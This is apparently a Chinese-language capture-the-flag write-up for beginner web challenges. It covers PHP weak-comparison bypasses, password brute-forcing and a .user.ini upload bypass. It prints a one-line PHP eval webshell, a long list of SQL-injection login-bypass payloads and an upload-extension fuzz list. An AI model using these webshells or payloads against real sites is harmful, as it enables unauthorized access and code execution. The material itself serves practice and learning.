Cookie
进来之后看到主页面
这里涉及到cookie是类似于一种用户凭证之类的东西,尝试着抓包看一下
cookie指向了一个cookie.php文件,进行访问
disabled_button
进行f12查看按钮属性
删除点击即可
weak_auth
进行密码爆破账号固定为admin
密码为123456
simple_php
get方式传入一个a和b,然后判断a是否为0成立就输出一半flag(弱类型比较),使用函数is_numeric判断b中是否存在数字或数组,存在则退出,然后判断b是否大于1234大于则输出剩下一半
/?a=0asd&b=12345a
弱类型==中 1234 和1234a进行比较结果为true或者111a和111也为true
baby_web
根据提示页面看到说初始页面是哪个,基本上是index.php了访问之后发现立即跳转到了1.php也买你,抓包进行仔细观察
flag被隐藏,查看hex编码
inget
好家伙bypass绕过先输入?id=1尝试 ,不想进行手工判断,使用万能密码进行fuzz
成功了不少,万能密码放在文末
easyupload
是一个文件上传,先上传一个png文件成功,然后判断是否为黑名单上传一个txt文件也成功了,目测应该是黑名单判断
尝试上传php5 Phtml 等
进行文件上传后缀名FUZZ发现可以上传成功.htaccess,先去判断一波对方中间件
目标为nginx中间件尝试使用.user.ini文件进行利用
可以上传,这里有个坑他对文件的Content-Type也进行了判断需要使用图片类型格式进行绕过
user.ini内容为 GIF89a
auto_prepend_file=a.png指向a.png文件当php使用
在上传a.png的时候发现会对文件内容进行检测是否有php这里可以尝试无php写马
GIF89a
<?=eval($_GET['cmd']);?>
或者
<? system("tac /flag"); ?>
下面是万能密码
"or “a”="a
“or 1=1–
“or”=”
“or”="a'='a
“or1=1–
“or=or”
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1–
1'or'1'='1
a'or' 1=1–
a'or'1=1–
or 'a'='a'
or 1=1–
or1=1-- asp aspx "or “a”="a
'.).or.('.a.'='.a
or 1=1–
'or 1=1–
a'or' 1=1–
"or 1=1–
'or.'a.'='a
“or”="a'='a
'or''='
or'='or' jsp 1'or'1'='1
admin' or 1=1/*
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
aaaa*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
"or "a"="a
')or('a'='a
or 1=1¨C
'or 1=1¨C
a'or' 1=1¨C
"or 1=1¨C
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1¡ä or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
'or 1=1/*
something
'OR '1'='1
1'or'1'='
admin' OR 1=1/*
' or 1=1#
'=0#
'>-1#
'<1#
1'<99#
'=0=1#
'<=>0#
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'|0#
'&0#
'^0#
'<<0#
'>>0#
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#
'*9#
'/9#
'%9#
'+0#
'-0#
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#
'=upper (0)#
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#
'='
'<>'1
'>1='
0'='0
'<1 and 1>'
'<>ifnull(1,2)='1
'=round(0,1)='1
'*0*'
'+'
'-'
'+1-1-'
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#
' or 1=1#
' or '
' || '
下面是文件后缀名FUZZ
.jpg
.png
.gif
.php
.phtml
.PHP
.Php
.pHp
.phP
.php2
.php3
.php4
.php5
.php6
.php7
.pphphphpp
.htaccess
.php
.php::$DATA
.php.
.php. .
.php%00.jpg